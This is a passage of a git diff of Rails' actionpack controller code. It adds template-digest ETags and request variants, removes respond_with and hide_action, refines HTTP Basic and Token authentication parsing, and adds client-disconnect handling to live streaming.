diff --git a/actionpack/lib/action_controller/metal/etag_with_template_digest.rb b/actionpack/lib/action_controller/metal/etag_with_template_digest.rb
new file mode 100644
index 0000000000..f9303efe6c
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/etag_with_template_digest.rb
@@ -0,0 +1,50 @@
+module ActionController
+  # When our views change, they should bubble up into HTTP cache freshness
+  # and bust browser caches. So the template digest for the current action
+  # is automatically included in the ETag.
+  #
+  # Enabled by default for apps that use Action View. Disable by setting
+  #
+  #   config.action_controller.etag_with_template_digest = false
+  #
+  # Override the template to digest by passing +:template+ to +fresh_when+
+  # and +stale?+ calls. For example:
+  #
+  #   # We're going to render widgets/show, not posts/show
+  #   fresh_when @post, template: 'widgets/show'
+  #
+  #   # We're not going to render a template, so omit it from the ETag.
+  #   fresh_when @post, template: false
+  #
+  module EtagWithTemplateDigest
+    extend ActiveSupport::Concern
+
+    include ActionController::ConditionalGet
+
+    included do
+      class_attribute :etag_with_template_digest
+      self.etag_with_template_digest = true
+
+      ActiveSupport.on_load :action_view, yield: true do |action_view_base|
+        etag do |options|
+          determine_template_etag(options) if etag_with_template_digest
+        end
+      end
+    end
+
+    private
+    def determine_template_etag(options)
+      if template = pick_template_for_etag(options)
+        lookup_and_digest_template(template)
+      end
+    end
+
+    def pick_template_for_etag(options)
+      options.fetch(:template) { "#{controller_name}/#{action_name}" }
+    end
+
+    def lookup_and_digest_template(template)
+      ActionView::Digestor.digest name: template, finder: lookup_context
+    end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/exceptions.rb b/actionpack/lib/action_controller/metal/exceptions.rb
index 3844dbf2a6..18e003741d 100644
--- a/actionpack/lib/action_controller/metal/exceptions.rb
+++ b/actionpack/lib/action_controller/metal/exceptions.rb
@@ -25,7 +25,7 @@ module ActionController
     end
   end
 
-  class ActionController::UrlGenerationError < RoutingError #:nodoc:
+  class ActionController::UrlGenerationError < ActionControllerError #:nodoc:
   end
 
   class MethodNotAllowed < ActionControllerError #:nodoc:
diff --git a/actionpack/lib/action_controller/metal/flash.rb b/actionpack/lib/action_controller/metal/flash.rb
index 1d77e331f8..65351284b9 100644
--- a/actionpack/lib/action_controller/metal/flash.rb
+++ b/actionpack/lib/action_controller/metal/flash.rb
@@ -37,7 +37,7 @@ module ActionController #:nodoc:
           end
           helper_method type
 
-          _flash_types << type
+          self._flash_types += [type]
         end
       end
     end
diff --git a/actionpack/lib/action_controller/metal/force_ssl.rb b/actionpack/lib/action_controller/metal/force_ssl.rb
index b8afce42c9..d920668184 100644
--- a/actionpack/lib/action_controller/metal/force_ssl.rb
+++ b/actionpack/lib/action_controller/metal/force_ssl.rb
@@ -48,7 +48,7 @@ module ActionController
       # You can pass any of the following options to affect the redirect status and response
       # * <tt>status</tt>     - Redirect with a custom status (default is 301 Moved Permanently)
       # * <tt>flash</tt>      - Set a flash message when redirecting
-      # * <tt>alert</tt>      - Set a alert message when redirecting
+      # * <tt>alert</tt>      - Set an alert message when redirecting
       # * <tt>notice</tt>     - Set a notice message when redirecting
       #
       # ==== Action Options
@@ -85,7 +85,7 @@ module ActionController
         if host_or_options.is_a?(Hash)
           options.merge!(host_or_options)
         elsif host_or_options
-          options.merge!(:host => host_or_options)
+          options[:host] = host_or_options
         end
 
         secure_url = ActionDispatch::Http::URL.url_for(options.slice(*URL_OPTIONS))
diff --git a/actionpack/lib/action_controller/metal/head.rb b/actionpack/lib/action_controller/metal/head.rb
index 8237db15ca..0d93e2f7aa 100644
--- a/actionpack/lib/action_controller/metal/head.rb
+++ b/actionpack/lib/action_controller/metal/head.rb
@@ -1,8 +1,6 @@
 module ActionController
   module Head
-    extend ActiveSupport::Concern
-
-    # Return a response that has no content (merely headers). The options
+    # Returns a response that has no content (merely headers). The options
     # argument is interpreted to be a hash of header names and values.
     # This allows you to easily return a response that consists only of
     # significant headers:
@@ -16,6 +14,8 @@ module ActionController
     #   return head(:method_not_allowed) unless request.post?
     #   return head(:bad_request) unless valid_request?
     #   render
+    #
+    # See Rack::Utils::SYMBOL_TO_STATUS_CODE for a full list of valid +status+ symbols.
     def head(status, options = {})
       options, status = status, nil if status.is_a?(Hash)
       status ||= options.delete(:status) || :ok
@@ -29,14 +29,14 @@ module ActionController
       self.status = status
       self.location = url_for(location) if location
 
-      if include_content?(self.status)
+      self.response_body = ""
+
+      if include_content?(self.response_code)
         self.content_type = content_type || (Mime[formats.first] if formats)
         self.response.charset = false if self.response
-        self.response_body = " "
       else
         headers.delete('Content-Type')
         headers.delete('Content-Length')
-        self.response_body = ""
       end
     end
 
diff --git a/actionpack/lib/action_controller/metal/helpers.rb b/actionpack/lib/action_controller/metal/helpers.rb
index b53ae7f29f..a9c3e438fb 100644
--- a/actionpack/lib/action_controller/metal/helpers.rb
+++ b/actionpack/lib/action_controller/metal/helpers.rb
@@ -73,7 +73,11 @@ module ActionController
 
       # Provides a proxy to access helpers methods from outside the view.
       def helpers
-        @helper_proxy ||= ActionView::Base.new.extend(_helpers)
+        @helper_proxy ||= begin 
+          proxy = ActionView::Base.new
+          proxy.config = config.inheritable_copy
+          proxy.extend(_helpers)
+        end
       end
 
       # Overwrite modules_for_helpers to accept :all as argument, which loads
diff --git a/actionpack/lib/action_controller/metal/hide_actions.rb b/actionpack/lib/action_controller/metal/hide_actions.rb
deleted file mode 100644
index af36ffa240..0000000000
--- a/actionpack/lib/action_controller/metal/hide_actions.rb
+++ /dev/null
@@ -1,40 +0,0 @@
-
-module ActionController
-  # Adds the ability to prevent public methods on a controller to be called as actions.
-  module HideActions
-    extend ActiveSupport::Concern
-
-    included do
-      class_attribute :hidden_actions
-      self.hidden_actions = Set.new.freeze
-    end
-
-  private
-
-    # Overrides AbstractController::Base#action_method? to return false if the
-    # action name is in the list of hidden actions.
-    def method_for_action(action_name)
-      self.class.visible_action?(action_name) && super
-    end
-
-    module ClassMethods
-      # Sets all of the actions passed in as hidden actions.
-      #
-      # ==== Parameters
-      # * <tt>args</tt> - A list of actions
-      def hide_action(*args)
-        self.hidden_actions = hidden_actions.dup.merge(args.map(&:to_s)).freeze
-      end
-
-      def visible_action?(action_name)
-        not hidden_actions.include?(action_name)
-      end
-
-      # Overrides AbstractController::Base#action_methods to remove any methods
-      # that are listed as hidden methods.
-      def action_methods
-        @action_methods ||= Set.new(super.reject { |name| hidden_actions.include?(name) }).freeze
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/action_controller/metal/http_authentication.rb b/actionpack/lib/action_controller/metal/http_authentication.rb
index 158d552ec7..20afcee537 100644
--- a/actionpack/lib/action_controller/metal/http_authentication.rb
+++ b/actionpack/lib/action_controller/metal/http_authentication.rb
@@ -11,11 +11,11 @@ module ActionController
     #     http_basic_authenticate_with name: "dhh", password: "secret", except: :index
     #
     #     def index
-    #       render text: "Everyone can see me!"
+    #       render plain: "Everyone can see me!"
     #     end
     #
     #     def edit
-    #       render text: "I'm only accessible if you know the password"
+    #       render plain: "I'm only accessible if you know the password"
     #     end
     #  end
     #
@@ -53,10 +53,8 @@ module ActionController
     # In your integration tests, you can do something like this:
     #
     #   def test_access_granted_from_xml
-    #     get(
-    #       "/notes/1.xml", nil,
-    #       'HTTP_AUTHORIZATION' => ActionController::HttpAuthentication::Basic.encode_credentials(users(:dhh).name, users(:dhh).password)
-    #     )
+    #     @request.env['HTTP_AUTHORIZATION'] = ActionController::HttpAuthentication::Basic.encode_credentials(users(:dhh).name, users(:dhh).password)
+    #     get "/notes/1.xml"
     #
     #     assert_equal 200, status
     #   end
@@ -90,17 +88,29 @@ module ActionController
       end
 
       def authenticate(request, &login_procedure)
-        unless request.authorization.blank?
+        if has_basic_credentials?(request)
           login_procedure.call(*user_name_and_password(request))
         end
       end
 
+      def has_basic_credentials?(request)
+        request.authorization.present? && (auth_scheme(request) == 'Basic')
+      end
+
       def user_name_and_password(request)
-        decode_credentials(request).split(/:/, 2)
+        decode_credentials(request).split(':', 2)
       end
 
       def decode_credentials(request)
-        ::Base64.decode64(request.authorization.split(' ', 2).last || '')
+        ::Base64.decode64(auth_param(request) || '')
+      end
+
+      def auth_scheme(request)
+        request.authorization.to_s.split(' ', 2).first
+      end
+
+      def auth_param(request)
+        request.authorization.to_s.split(' ', 2).second
       end
 
       def encode_credentials(user_name, password)
@@ -109,8 +119,8 @@ module ActionController
 
       def authentication_request(controller, realm)
         controller.headers["WWW-Authenticate"] = %(Basic realm="#{realm.gsub(/"/, "")}")
-        controller.response_body = "HTTP Basic: Access denied.\n"
         controller.status = 401
+        controller.response_body = "HTTP Basic: Access denied.\n"
       end
     end
 
@@ -127,11 +137,11 @@ module ActionController
     #     before_action :authenticate, except: [:index]
     #
     #     def index
-    #       render text: "Everyone can see me!"
+    #       render plain: "Everyone can see me!"
     #     end
     #
     #     def edit
-    #       render text: "I'm only accessible if you know the password"
+    #       render plain: "I'm only accessible if you know the password"
     #     end
     #
     #     private
@@ -244,8 +254,8 @@ module ActionController
       def authentication_request(controller, realm, message = nil)
         message ||= "HTTP Digest: Access denied.\n"
         authentication_header(controller, realm)
-        controller.response_body = message
         controller.status = 401
+        controller.response_body = message
       end
 
       def secret_token(request)
@@ -321,11 +331,11 @@ module ActionController
     #     before_action :authenticate, except: [ :index ]
     #
     #     def index
-    #       render text: "Everyone can see me!"
+    #       render plain: "Everyone can see me!"
     #     end
     #
     #     def edit
-    #       render text: "I'm only accessible if you know the password"
+    #       render plain: "I'm only accessible if you know the password"
     #     end
     #
     #     private
@@ -385,6 +395,7 @@ module ActionController
     #
     #   RewriteRule ^(.*)$ dispatch.fcgi [E=X-HTTP_AUTHORIZATION:%{HTTP:Authorization},QSA,L]
     module Token
+      TOKEN_KEY = 'token='
       TOKEN_REGEX = /^Token /
       AUTHN_PAIR_DELIMITERS = /(?:,|;|\t+)/
       extend self
@@ -437,7 +448,7 @@ module ActionController
         authorization_request = request.authorization.to_s
         if authorization_request[TOKEN_REGEX]
           params = token_params_from authorization_request
-          [params.shift.last, Hash[params].with_indifferent_access]
+          [params.shift[1], Hash[params].with_indifferent_access]
         end
       end
 
@@ -450,16 +461,22 @@ module ActionController
         raw_params.map { |param| param.split %r/=(.+)?/ }
       end
 
-      # This removes the `"` characters wrapping the value.
+      # This removes the <tt>"</tt> characters wrapping the value.
       def rewrite_param_values(array_params)
-        array_params.each { |param| param.last.gsub! %r/^"|"$/, '' }
+        array_params.each { |param| (param[1] || "").gsub! %r/^"|"$/, '' }
       end
 
       # This method takes an authorization body and splits up the key-value
-      # pairs by the standardized `:`, `;`, or `\t` delimiters defined in
-      # `AUTHN_PAIR_DELIMITERS`.
+      # pairs by the standardized <tt>:</tt>, <tt>;</tt>, or <tt>\t</tt>
+      # delimiters defined in +AUTHN_PAIR_DELIMITERS+.
       def raw_params(auth)
-        auth.sub(TOKEN_REGEX, '').split(/"\s*#{AUTHN_PAIR_DELIMITERS}\s*/)
+        _raw_params = auth.sub(TOKEN_REGEX, '').split(/\s*#{AUTHN_PAIR_DELIMITERS}\s*/)
+
+        if !(_raw_params.first =~ %r{\A#{TOKEN_KEY}})
+          _raw_params[0] = "#{TOKEN_KEY}#{_raw_params.first}"
+        end
+
+        _raw_params
       end
 
       # Encodes the given token and options into an Authorization header value.
@@ -469,7 +486,7 @@ module ActionController
       #
       # Returns String.
       def encode_credentials(token, options = {})
-        values = ["token=#{token.to_s.inspect}"] + options.map do |key, value|
+        values = ["#{TOKEN_KEY}#{token.to_s.inspect}"] + options.map do |key, value|
           "#{key}=#{value.to_s.inspect}"
         end
         "Token #{values * ", "}"
diff --git a/actionpack/lib/action_controller/metal/instrumentation.rb b/actionpack/lib/action_controller/metal/instrumentation.rb
index d3aa8f90c5..a3e1a71b0a 100644
--- a/actionpack/lib/action_controller/metal/instrumentation.rb
+++ b/actionpack/lib/action_controller/metal/instrumentation.rb
@@ -21,17 +21,20 @@ module ActionController
         :action     => self.action_name,
         :params     => request.filtered_parameters,
         :format     => request.format.try(:ref),
-        :method     => request.method,
+        :method     => request.request_method,
         :path       => (request.fullpath rescue "unknown")
       }
 
       ActiveSupport::Notifications.instrument("start_processing.action_controller", raw_payload.dup)
 
       ActiveSupport::Notifications.instrument("process_action.action_controller", raw_payload) do |payload|
-        result = super
-        payload[:status] = response.status
-        append_info_to_payload(payload)
-        result
+        begin
+          result = super
+          payload[:status] = response.status
+          result
+        ensure
+          append_info_to_payload(payload)
+        end
       end
     end
 
@@ -67,7 +70,7 @@ module ActionController
 
   private
 
-    # A hook invoked everytime a before callback is halted.
+    # A hook invoked every time a before callback is halted.
     def halted_callback_hook(filter)
       ActiveSupport::Notifications.instrument("halted_callback.action_controller", :filter => filter)
     end
diff --git a/actionpack/lib/action_controller/metal/live.rb b/actionpack/lib/action_controller/metal/live.rb
index 0dd788645b..7590fb6843 100644
--- a/actionpack/lib/action_controller/metal/live.rb
+++ b/actionpack/lib/action_controller/metal/live.rb
@@ -48,7 +48,7 @@ module ActionController
     #   the server will receive a +Last-Event-ID+ header with value equal to +id+.
     #
     # After setting an option in the constructor of the SSE object, all future
-    # SSEs sent accross the stream will use those options unless overridden.
+    # SSEs sent across the stream will use those options unless overridden.
     #
     # Example Usage:
     #
@@ -102,13 +102,30 @@ module ActionController
             end
           end
 
-          @stream.write "data: #{json}\n\n"
+          message = json.gsub(/\n/, "\ndata: ")
+          @stream.write "data: #{message}\n\n"
         end
     end
 
+    class ClientDisconnected < RuntimeError
+    end
+
     class Buffer < ActionDispatch::Response::Buffer #:nodoc:
+      include MonitorMixin
+
+      # Ignore that the client has disconnected.
+      #
+      # If this value is `true`, calling `write` after the client
+      # disconnects will result in the written content being silently
+      # discarded. If this value is `false` (the default), a
+      # ClientDisconnected exception will be raised.
+      attr_accessor :ignore_disconnect
+
       def initialize(response)
-        @error_callback = nil
+        @error_callback = lambda { true }
+        @cv = new_cond
+        @aborted = false
+        @ignore_disconnect = false
         super(response, SizedQueue.new(10))
       end
 
@@ -119,17 +136,57 @@ module ActionController
         end
 
         super
+
+        unless connected?
+          @buf.clear
+
+          unless @ignore_disconnect
+            # Raise ClientDisconnected, which is a RuntimeError (not an
+            # IOError), because that's more appropriate for something beyond
+            # the developer's control.
+            raise ClientDisconnected, "client disconnected"
+          end
+        end
       end
 
       def each
+        @response.sending!
         while str = @buf.pop
           yield str
         end
+        @response.sent!
       end
 
+      # Write a 'close' event to the buffer; the producer/writing thread
+      # uses this to notify us that it's finished supplying content.
+      #
+      # See also #abort.
       def close
-        super
-        @buf.push nil
+        synchronize do
+          super
+          @buf.push nil
+          @cv.broadcast
+        end
+      end
+
+      # Inform the producer/writing thread that the client has
+      # disconnected; the reading thread is no longer interested in
+      # anything that's being written.
+      #
+      # See also #close.
+      def abort
+        synchronize do
+          @aborted = true
+          @buf.clear
+        end
+      end
+
+      # Is the client still connected and waiting for content?
+      #
+      # The result of calling `write` when this is `false` is determined
+      # by `ignore_disconnect`.
+      def connected?
+        !@aborted
       end
 
       def on_error(&block)
@@ -142,7 +199,7 @@ module ActionController
     end
 
     class Response < ActionDispatch::Response #:nodoc: all
-      class Header < DelegateClass(Hash)
+      class Header < DelegateClass(Hash) # :nodoc:
         def initialize(response, header)
           @response = response
           super(header)
@@ -165,12 +222,20 @@ module ActionController
         end
       end
 
-      def commit!
-        headers.freeze
+      private
+
+      def before_committed
         super
+        jar = request.cookie_jar
+        # The response can be committed multiple times
+        jar.write self unless committed?
       end
 
-      private
+      def before_sending
+        super
+        request.cookie_jar.commit!
+        headers.freeze
+      end
 
       def build_buffer(response, body)
         buf = Live::Buffer.new response
@@ -191,6 +256,7 @@ module ActionController
       t1 = Thread.current
       locals = t1.keys.map { |key| [key, t1[key]] }
 
+      error = nil
       # This processes the action in a child thread. It lets us return the
       # response code and headers back up the rack stack, and still process
       # the body in parallel with sending data to the client
@@ -205,14 +271,18 @@ module ActionController
         begin
           super(name)
         rescue => e
-          begin
-            @_response.stream.write(ActionView::Base.streaming_completion_on_exception) if request.format == :html
-            @_response.stream.call_on_error
-          rescue => exception
-            log_error(exception)
-          ensure
-            log_error(e)
-            @_response.stream.close
+          if @_response.committed?
+            begin
+              @_response.stream.write(ActionView::Base.streaming_completion_on_exception) if request.format == :html
+              @_response.stream.call_on_error
+            rescue => exception
+              log_error(exception)
+            ensure
+              log_error(e)
+              @_response.stream.close
+            end
+          else
+            error = e
           end
         ensure
           @_response.commit!
@@ -220,21 +290,24 @@ module ActionController
       }
 
       @_response.await_commit
+      raise error if error
     end
 
     def log_error(exception)
       logger = ActionController::Base.logger
       return unless logger
 
-      message = "\n#{exception.class} (#{exception.message}):\n"
-      message << exception.annoted_source_code.to_s if exception.respond_to?(:annoted_source_code)
-      message << "  " << exception.backtrace.join("\n  ")
-      logger.fatal("#{message}\n\n")
+      logger.fatal do
+        message = "\n#{exception.class} (#{exception.message}):\n"
+        message << exception.annoted_source_code.to_s if exception.respond_to?(:annoted_source_code)
+        message << "  " << exception.backtrace.join("\n  ")
+        "#{message}\n\n"
+      end
     end
 
     def response_body=(body)
       super
-      response.stream.close if response
+      response.close if response
     end
 
     def set_response!(request)
diff --git a/actionpack/lib/action_controller/metal/mime_responds.rb b/actionpack/lib/action_controller/metal/mime_responds.rb
index 834d44f045..7dae171215 100644
--- a/actionpack/lib/action_controller/metal/mime_responds.rb
+++ b/actionpack/lib/action_controller/metal/mime_responds.rb
@@ -1,62 +1,7 @@
-require 'active_support/core_ext/array/extract_options'
 require 'abstract_controller/collector'
 
 module ActionController #:nodoc:
   module MimeResponds
-    extend ActiveSupport::Concern
-
-    included do
-      class_attribute :responder, :mimes_for_respond_to
-      self.responder = ActionController::Responder
-      clear_respond_to
-    end
-
-    module ClassMethods
-      # Defines mime types that are rendered by default when invoking
-      # <tt>respond_with</tt>.
-      #
-      #   respond_to :html, :xml, :json
-      #
-      # Specifies that all actions in the controller respond to requests
-      # for <tt>:html</tt>, <tt>:xml</tt> and <tt>:json</tt>.
-      #
-      # To specify on per-action basis, use <tt>:only</tt> and
-      # <tt>:except</tt> with an array of actions or a single action:
-      #
-      #   respond_to :html
-      #   respond_to :xml, :json, except: [ :edit ]
-      #
-      # This specifies that all actions respond to <tt>:html</tt>
-      # and all actions except <tt>:edit</tt> respond to <tt>:xml</tt> and
-      # <tt>:json</tt>.
-      #
-      #   respond_to :json, only: :create
-      #
-      # This specifies that the <tt>:create</tt> action and no other responds
-      # to <tt>:json</tt>.
-      def respond_to(*mimes)
-        options = mimes.extract_options!
-
-        only_actions   = Array(options.delete(:only)).map(&:to_s)
-        except_actions = Array(options.delete(:except)).map(&:to_s)
-
-        new = mimes_for_respond_to.dup
-        mimes.each do |mime|
-          mime = mime.to_sym
-          new[mime]          = {}
-          new[mime][:only]   = only_actions   unless only_actions.empty?
-          new[mime][:except] = except_actions unless except_actions.empty?
-        end
-        self.mimes_for_respond_to = new.freeze
-      end
-
-      # Clear all mime types in <tt>respond_to</tt>.
-      #
-      def clear_respond_to
-        self.mimes_for_respond_to = Hash.new.freeze
-      end
-    end
-
     # Without web-service support, an action which collects the data for displaying a list of people
     # might look something like this:
     #
@@ -169,205 +114,85 @@ module ActionController #:nodoc:
     #
     #   render json: @people
     #
-    # Since this is a common pattern, you can use the class method respond_to
-    # with the respond_with method to have the same results:
+    # Formats can have different variants.
     #
-    #   class PeopleController < ApplicationController
-    #     respond_to :html, :xml, :json
+    # The request variant is a specialization of the request format, like <tt>:tablet</tt>,
+    # <tt>:phone</tt>, or <tt>:desktop</tt>.
     #
-    #     def index
-    #       @people = Person.all
-    #       respond_with(@people)
-    #     end
-    #   end
+    # We often want to render different html/json/xml templates for phones,
+    # tablets, and desktop browsers. Variants make it easy.
     #
-    # Be sure to check the documentation of +respond_with+ and
-    # <tt>ActionController::MimeResponds.respond_to</tt> for more examples.
-    def respond_to(*mimes, &block)
-      raise ArgumentError, "respond_to takes either types or a block, never both" if mimes.any? && block_given?
-
-      if collector = retrieve_collector_from_mimes(mimes, &block)
-        response = collector.response
-        response ? response.call : render({})
-      end
-    end
-
-    # For a given controller action, respond_with generates an appropriate
-    # response based on the mime-type requested by the client.
+    # You can set the variant in a +before_action+:
     #
-    # If the method is called with just a resource, as in this example -
+    #   request.variant = :tablet if request.user_agent =~ /iPad/
     #
-    #   class PeopleController < ApplicationController
-    #     respond_to :html, :xml, :json
+    # Respond to variants in the action just like you respond to formats:
     #
-    #     def index
-    #       @people = Person.all
-    #       respond_with @people
+    #   respond_to do |format|
+    #     format.html do |variant|
+    #       variant.tablet # renders app/views/projects/show.html+tablet.erb
+    #       variant.phone { extra_setup; render ... }
+    #       variant.none  { special_setup } # executed only if there is no variant set
     #     end
     #   end
     #
-    # then the mime-type of the response is typically selected based on the
-    # request's Accept header and the set of available formats declared
-    # by previous calls to the controller's class method +respond_to+. Alternatively
-    # the mime-type can be selected by explicitly setting <tt>request.format</tt> in
-    # the controller.
-    #
-    # If an acceptable format is not identified, the application returns a
-    # '406 - not acceptable' status. Otherwise, the default response is to render
-    # a template named after the current action and the selected format,
-    # e.g. <tt>index.html.erb</tt>. If no template is available, the behavior
-    # depends on the selected format:
-    #
-    # * for an html response - if the request method is +get+, an exception
-    #   is raised but for other requests such as +post+ the response
-    #   depends on whether the resource has any validation errors (i.e.
-    #   assuming that an attempt has been made to save the resource,
-    #   e.g. by a +create+ action) -
-    #   1. If there are no errors, i.e. the resource
-    #      was saved successfully, the response +redirect+'s to the resource
-    #      i.e. its +show+ action.
-    #   2. If there are validation errors, the response
-    #      renders a default action, which is <tt>:new</tt> for a
-    #      +post+ request or <tt>:edit</tt> for +patch+ or +put+.
-    #   Thus an example like this -
-    #
-    #     respond_to :html, :xml
-    #
-    #     def create
-    #       @user = User.new(params[:user])
-    #       flash[:notice] = 'User was successfully created.' if @user.save
-    #       respond_with(@user)
-    #     end
+    # Provide separate templates for each format and variant:
     #
-    #   is equivalent, in the absence of <tt>create.html.erb</tt>, to -
-    #
-    #     def create
-    #       @user = User.new(params[:user])
-    #       respond_to do |format|
-    #         if @user.save
-    #           flash[:notice] = 'User was successfully created.'
-    #           format.html { redirect_to(@user) }
-    #           format.xml { render xml: @user }
-    #         else
-    #           format.html { render action: "new" }
-    #           format.xml { render xml: @user }
-    #         end
-    #       end
-    #     end
+    #   app/views/projects/show.html.erb
+    #   app/views/projects/show.html+tablet.erb
+    #   app/views/projects/show.html+phone.erb
     #
-    # * for a javascript request - if the template isn't found, an exception is
-    #   raised.
-    # * for other requests - i.e. data formats such as xml, json, csv etc, if
-    #   the resource passed to +respond_with+ responds to <code>to_<format></code>,
-    #   the method attempts to render the resource in the requested format
-    #   directly, e.g. for an xml request, the response is equivalent to calling 
-    #   <code>render xml: resource</code>.
+    # When you're not sharing any code within the format, you can simplify defining variants
+    # using the inline syntax:
     #
-    # === Nested resources
+    #   respond_to do |format|
+    #     format.js         { render "trash" }
+    #     format.html.phone { redirect_to progress_path }
+    #     format.html.none  { render "trash" }
+    #   end
     #
-    # As outlined above, the +resources+ argument passed to +respond_with+
-    # can play two roles. It can be used to generate the redirect url
-    # for successful html requests (e.g. for +create+ actions when
-    # no template exists), while for formats other than html and javascript
-    # it is the object that gets rendered, by being converted directly to the
-    # required format (again assuming no template exists).
+    # Variants also support common `any`/`all` block that formats have.
     #
-    # For redirecting successful html requests, +respond_with+ also supports
-    # the use of nested resources, which are supplied in the same way as
-    # in <code>form_for</code> and <code>polymorphic_url</code>. For example -
+    # It works for both inline:
     #
-    #   def create
-    #     @project = Project.find(params[:project_id])
-    #     @task = @project.comments.build(params[:task])
-    #     flash[:notice] = 'Task was successfully created.' if @task.save
-    #     respond_with(@project, @task)
+    #   respond_to do |format|
+    #     format.html.any   { render text: "any"   }
+    #     format.html.phone { render text: "phone" }
     #   end
     #
-    # This would cause +respond_with+ to redirect to <code>project_task_url</code>
-    # instead of <code>task_url</code>. For request formats other than html or
-    # javascript, if multiple resources are passed in this way, it is the last
-    # one specified that is rendered.
+    # and block syntax:
     #
-    # === Customizing response behavior
+    #   respond_to do |format|
+    #     format.html do |variant|
+    #       variant.any(:tablet, :phablet){ render text: "any" }
+    #       variant.phone { render text: "phone" }
+    #     end
+    #   end
     #
-    # Like +respond_to+, +respond_with+ may also be called with a block that
-    # can be used to overwrite any of the default responses, e.g. -
+    # You can also set an array of variants:
     #
-    #   def create
-    #     @user = User.new(params[:user])
-    #     flash[:notice] = "User was successfully created." if @user.save
+    #   request.variant = [:tablet, :phone]
     #
-    #     respond_with(@user) do |format|
-    #       format.html { render }
-    #     end
+    # which will work similarly to formats and MIME types negotiation. If there will be no
+    # :tablet variant declared, :phone variant will be picked:
+    #
+    #   respond_to do |format|
+    #     format.html.none
+    #     format.html.phone # this gets rendered
     #   end
     #
-    # The argument passed to the block is an ActionController::MimeResponds::Collector
-    # object which stores the responses for the formats defined within the
-    # block. Note that formats with responses defined explicitly in this way
-    # do not have to first be declared using the class method +respond_to+.
-    #
-    # Also, a hash passed to +respond_with+ immediately after the specified
-    # resource(s) is interpreted as a set of options relevant to all
-    # formats. Any option accepted by +render+ can be used, e.g.
-    #   respond_with @people, status: 200
-    # However, note that these options are ignored after an unsuccessful attempt
-    # to save a resource, e.g. when automatically rendering <tt>:new</tt>
-    # after a post request.
-    #
-    # Two additional options are relevant specifically to +respond_with+ -
-    # 1. <tt>:location</tt> - overwrites the default redirect location used after
-    #    a successful html +post+ request.
-    # 2. <tt>:action</tt> - overwrites the default render action used after an
-    #    unsuccessful html +post+ request.
-    def respond_with(*resources, &block)
-      raise "In order to use respond_with, first you need to declare the formats your " \
-            "controller responds to in the class level" if self.class.mimes_for_respond_to.empty?
-
-      if collector = retrieve_collector_from_mimes(&block)
-        options = resources.size == 1 ? {} : resources.extract_options!
-        options[:default_response] = collector.response
-        (options.delete(:responder) || self.class.responder).call(self, resources, options)
-      end
-    end
-
-  protected
-
-    # Collect mimes declared in the class method respond_to valid for the
-    # current action.
-    def collect_mimes_from_class_level #:nodoc:
-      action = action_name.to_s
-
-      self.class.mimes_for_respond_to.keys.select do |mime|
-        config = self.class.mimes_for_respond_to[mime]
-
-        if config[:except]
-          !config[:except].include?(action)
-        elsif config[:only]
-          config[:only].include?(action)
-        else
-          true
-        end
-      end
-    end
+    # Be sure to check the documentation of <tt>ActionController::MimeResponds.respond_to</tt>
+    # for more examples.
+    def respond_to(*mimes)
+      raise ArgumentError, "respond_to takes either types or a block, never both" if mimes.any? && block_given?
 
-    # Returns a Collector object containing the appropriate mime-type response
-    # for the current request, based on the available responses defined by a block.
-    # In typical usage this is the block passed to +respond_with+ or +respond_to+.
-    #
-    # Sends :not_acceptable to the client and returns nil if no suitable format
-    # is available.
-    def retrieve_collector_from_mimes(mimes=nil, &block) #:nodoc:
-      mimes ||= collect_mimes_from_class_level
-      collector = Collector.new(mimes)
-      block.call(collector) if block_given?
-      format = collector.negotiate_format(request)
+      collector = Collector.new(mimes, request.variant)
+      yield collector if block_given?
 
-      if format
-        self.content_type ||= format.to_s
-        lookup_context.formats = [format.to_sym]
-        lookup_context.rendered_format = lookup_context.formats.first
-        collector
+      if format = collector.negotiate_format(request)
+        _process_format(format)
+        response = collector.response
+        response ? response.call : render({})
       else
         raise ActionController::UnknownFormat
       end
@@ -376,8 +201,8 @@ module ActionController #:nodoc:
     # A container for responses available from the current controller for
     # requests for different mime-types sent to a particular action.
     #
-    # The public controller methods +respond_with+ and +respond_to+ may be called
-    # with a block that is used to define responses to different mime-types, e.g.
+    # The public controller methods +respond_to+ may be called with a block
+    # that is used to define responses to different mime-types, e.g.
     # for +respond_to+ :
     #
     #   respond_to do |format|
@@ -397,11 +222,13 @@ module ActionController #:nodoc:
     # request, with this response then being accessible by calling #response.
     class Collector
       include AbstractController::Collector
-      attr_accessor :order, :format
+      attr_accessor :format
 
-      def initialize(mimes)
-        @order, @responses = [], {}
-        mimes.each { |mime| send(mime) }
+      def initialize(mimes, variant = nil)
+        @responses = {}
+        @variant = variant
+
+        mimes.each { |mime| @responses["Mime::#{mime.upcase}".constantize] = nil }
       end
 
       def any(*args, &block)
@@ -415,16 +242,62 @@ module ActionController #:nodoc:
 
       def custom(mime_type, &block)
         mime_type = Mime::Type.lookup(mime_type.to_s) unless mime_type.is_a?(Mime::Type)
-        @order << mime_type
-        @responses[mime_type] ||= block
+        @responses[mime_type] ||= if block_given?
+          block
+        else
+          VariantCollector.new(@variant)
+        end
       end
 
       def response
-        @responses.fetch(format, @responses[Mime::ALL])
+        response = @responses.fetch(format, @responses[Mime::ALL])
+        if response.is_a?(VariantCollector) # `format.html.phone` - variant inline syntax
+          response.variant
+        elsif response.nil? || response.arity == 0 # `format.html` - just a format, call its block
+          response
+        else # `format.html{ |variant| variant.phone }` - variant block syntax
+          variant_collector = VariantCollector.new(@variant)
+          response.call(variant_collector) # call format block with variants collector
+          variant_collector.variant
+        end
       end
 
       def negotiate_format(request)
-        @format = request.negotiate_mime(order)
+        @format = request.negotiate_mime(@responses.keys)
+      end
+
+      class VariantCollector #:nodoc:
+        def initialize(variant = nil)
+          @variant = variant
+          @variants = {}
+        end
+
+        def any(*args, &block)
+          if block_given?
+            if args.any? && args.none?{ |a| a == @variant }
+              args.each{ |v| @variants[v] = block }
+            else
+              @variants[:any] = block
+            end
+          end
+        end
+        alias :all :any
+
+        def method_missing(name, *args, &block)
+          @variants[name] = block if block_given?
+        end
+
+        def variant
+          if @variant.nil?
+            @variants[:none] || @variants[:any]
+          elsif (@variants.keys & @variant).any?
+            @variant.each do |v|
+              return @variants[v] if @variants.key?(v)
+            end
+          else
+            @variants[:any]
+          end
+        end
       end
     end
   end
diff --git a/actionpack/lib/action_controller/metal/params_wrapper.rb b/actionpack/lib/action_controller/metal/params_wrapper.rb
index c9f1d8dcb4..a7e734db42 100644
